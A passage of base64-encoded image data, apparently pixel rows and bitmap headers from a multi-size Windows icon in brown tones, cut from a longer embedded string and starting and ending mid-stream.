Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + 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 + QP8wIBn/NCQd/zkpIv84KCH/NSUe/0IyK/94aGH/LR0W/zQkHf8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf83JyD/KBYP/zEhGf86KiP/NCQd/3RkXf9aSkP/Szs0/8OzrP/Pv7j/zLy1/86+ + t//Swrv/WUtG/1JHRP/IwL3//Pz7///+/v///v7///////7+/v/8+/v/7+fj/8O0rv+vnpf/0cK7/9HB + uv/Swrv/2cnC/9bGv/+pmZL/QTEq/zMjHP84KCH/MyMc/2hYUf9WRj//Nycg/zMjHP8+Lifjbl5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf83KCD/NiYf/zgoIf82Jh//QjIr/7Kim/9nV1D/QDAp/7mp + ov/Tw7z/y7u0/9PDvP+vn5j/Rzo0/9DLyP/+/f3///7+///+/v/+/v7////////+/v/+/v7//v7+/+vm + 5P+cjYf/e2tk/8Gxqv/QwLn/y7u0/9DAuf/aysP/nIyF/zkpIv8wIBn/XU1G/2lZUv84KCH/OSki/zMj + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/MyMc/4R0bf/XxsD/zr63/5eHgf9XR0L/OSoj/0Q1MP9cTEb/cmFa/3xu + aP/DvLn///////7+/v///////v7+////////////7ufk/9TFvv/Xx8D/jX12/ygYEf+BcWr/2cnC/829 + t//aysP/no6H/zkpIv8zIxz/Nycg/zgoIf84KCH/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/NSUe/zwsJf+Whn//3s7H/93Nxv/Lu7T/qZmS/4x8 + df9yYlz/X09I/08+N/9zY1v/9PLw///+/v///v7///7+//7+/v/49fT/zb22/9PDu//Nvbb/QzMt/zYm + IP+tnZb/2cnC/9vLxP+8rKX/RjYv/zIiG/84KCH/OCgh/zgoIf84KCH/OSki/zMjHP8+LifjbV1XZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zQkHf8uHhf/cWFa/7Gh + mv/Nvbb/3c3G/97Ox//dzcb/3MzF/9jIwf/OvbX/6uHc//7+/v///v7///7+///+/f/r4dz/z722/62d + lv9NPTb/PS4r/6aWj//czMX/uKih/3trZP84KCH/MiIb/zgoIf84KCH/OSki/zkpIv85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zgo + If81JR7/Lh4X/0AwKf9kVE3/kIB5/6+fmP/Bsar/z7+4/9TEvf/RwLn/5NfR//37+v///////v7+//f1 + 9P++r6n/cF9Z/0c3MP9SQjv/nY2G/6eXkP95aWL/RjYv/y8fGP8yIhv/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv85KSL/OCgh/zgoIf84KCH/Nycg/zQkHf8yIhv/OCgh/z8vKP9PPzj/YlJL/3NjXf99bWX/koN8/+jk + 4v/////////+/9LNyv9IODX/MiEb/009Nv9dTUb/Tj43/zwsJf8zIxz/MiIb/zYmH/80JB3/NCQd/zco + IP84KCH/OSki/zkpIf85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgoIf85KSL/OCgh/zcnIP82Jh//MyMc/zAg + Gf8wIBj/KhoY/7Copf/8+/v/+vn5/6GXk/8uHRX/OSoj/zQkHf81JR7/NiYf/zcnIP84KCH/OCgh/zEh + G/9WRj//VUU+/zEhGv84KCH/OSki/zkpIv85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zMjHP8xIBn/Oioj/zkp + Iv84KCH/OCgh/zgnIP85KSL/LBsU/5GHgv/39vb/9PLx/4N3cv8tHBX/OCgh/zcnIP84KCH/OCgh/zkp + Iv85KSL/NSUe/ycWEP+hl5P/oJWS/ygXEv82Jh//OSki/zkpIv85KSL/OSki/zMjHP8+LifjbV1WZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/0o6 + M/9TQz3/NSUe/zgoIf84KCH/OCgh/zgoIf84KCH/Lx4X/3NmYP/v7ez/6Obl/2FTTv8xIRr/OCgh/zgo + If84KCH/OSki/zkpIf85KSL/Lx8X/1xMSP/g3Nv/4Nzb/1pLR/8vHxn/Oioj/zkpIf85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQjt/Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/MyUg/5iPjP/Bubb/Jxwa/zYlH/84KCH/OSki/zkpIv84KCH/MSEa/1JCPP/g3Nr/2NPR/0o5 + M/80Ixz/OSki/zkpIv85KSH/OSki/zkpIv8xIRr/VkU//9jU0f/+/v7//v7+/9fSz/9WR0D/MSEa/zkp + Iv85KSH/OSki/zMjHP8+LifjbV1WZ////wH///8B////Af///wFSQjuBOysk8zUlHf84KCH/OSki/zkp + Iv85KSL/OSki/zYmH/84KCD/raOe/+Dc2f/s6ej/rKOg/1JDPf8yIhv/OCki/zgpIf85KSL/MyMc/0Q0 + LP/Tz83/ysTC/zoqI/80JB3/OCgh/zkpIv85KSL/MiIb/zUlHf82Jh//PCsl/5GGgv/w7u3/8O7t/5CF + gv88LCX/Nycg/zkpIv85KSL/OSki/zMjHP89LSblbFxVaf///wH///8B////Af///wFgUElbPCwl3TMj + HP84KCH/OSki/zgoIf84KCH/OSki/zcnIP84KCH/fG9p/8O7uP/b2NX/d2tm/0c4Mf81JB3/OSgi/zkp + Iv85KSL/NCQd/zcmH//HwsD/u7Ov/zMhGv82Jh//OSki/zkpIv8zIhv/Rzcv/z4uJv80Ixz/NCQd/zQj + Hf/AuLX/wLm1/zQjHf8zJB3/OSki/zkpIf85KSH/OCgh/zEhGv8/LyjTeGhhTf///wH///8B////Af// + /wGHd28LUEA5ZTMjHN02Jh/9OCgh/zgoIf84KCH/OCki/zkpIv84KCH/KxoU/3ptaP+dlZD/IRAL/zUk + Hf85KSL/OSki/zkpIv85KSL/NiYf/zEfGP+7sq7/oZiU/y4dFf83JyD/OSki/y4eF/9iU03/9fLx/9HM + yf9MPDX/MiIb/y4eF/9qWlP/aFhR/y0dFv85KSL/OSki/zkpIv83JyD/NSUe+zQkHddaSkNdo5OMB/// + /wH///8B////Af///wH///8BXk5HC0w8NU8/LyirNycg8TUlHv83JyD/OSgh/zkpIv84KCH/Nygh/zsr + JP89LSb/OCgh/zgoIf84KCH/OSki/zkpIv84KCH/Nycg/y0cFf+poJz/joSB/yoZEv85KSL/OSki/ywc + Fv9tX1v/8vHw/9nU0v9URT7/MCAZ/zgoIf84KCH/OCgh/zcnIP84KCH/OCgh/zQkHf82Jh/xQDAppUMz + LEVYSEEJ////Af///wH///8B////Af///wH///8B////AWVVTgVTQzwZRjYvcT8vKNM2Jh/7Nycg/zgo + If84KCH/OCgh/zcnIP82Jh//OSki/zgoIf84KCH/OSki/zkpIv84KCH/OCgh/ysZEv+Rh4P/hHhy/yoZ + Ev85KSL/OSki/zcnIP85KSH/eGtm/2RXUf83JyD/OSki/zkpIv83JyD/Nycg/zgoIf83JyD/NSUe+0Ex + Ks1LOzRpXk5HF19PSAP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVBA + OR1HNzBxNiYf2TQkHfk2Jh//OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/ywc + Ff97bGb/c2Rd/y4dFv84KCH/OSki/zkpIv84KCH/KBgQ/y0dFf85KSH/OSki/zkpIv85KSL/Nycg/zQk + Hfk1JR7XUEA5aV5ORxn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzcDUEA5Q0AwKZk3JyDnNSUe/zgoIf85KSL/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OCgh/y8fGP9tXFX/Y1NM/zAgGf84KCH/OSki/zkpIv84KCH/OCki/zkpIv85KSL/OSki/zgo + If80JB3/OCgh4UExKpVURD09Xk5IA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BaFlSA1JCOxNXR0BPPS0myzUlHv02Jh//OCgh/zgo + If84KCH/OSki/zkpIv85KSL/OSki/zQkHf9WRj//Tj43/zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zcn + IP84KCH/Nycg/zUlHv1ENC3HRzcwRVZGPxN4aGED////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84EUQ0 + LWM9LSbHNCQd9zcnIP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIP84KCH/OSki/zko + Iv84KCH/Nycg/zcnIP82Jh/3OiojwUQ1Ll9ZSUIP////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVlJQgNtXVYrNycgjzYmH901JR77OCgh/zkpIv85KSL/OCgh/zkpIv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv83JyD/NCQd+zcnINdENC2LWUlCJf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BRTUuD0o6M0VCMiupNCQd+TQkHf84KCH/OCgh/zcn + IP84KCH/OCgh/zgoIf84KCH/OSki/zIiG/81JR73SDgxoT8vKT1TQzwP////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFdTUYFPy8oUT0t + JrU0JB3vNCQd/zcnIP84KCH/OCgh/zgoIf82Jh//NCQd7T4uJ7FHNzBNeWliA////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BXk1HA2hYUR8+LidtOSki0zQkHfs3JyD/Nycg/zUlHvs1JR7NPy8oaXNjXB1uXlYD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFVRT4HVEQ9NUExKpU2Jh/ZNycg2Uc3MJFIODExSDcxB/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BAAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA + AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA + //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//KAAAAEAAAACAAAAAAQAgAAAA + AAAAQgAAAAAAAAAAAAAAAAAAAAAAAP///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + 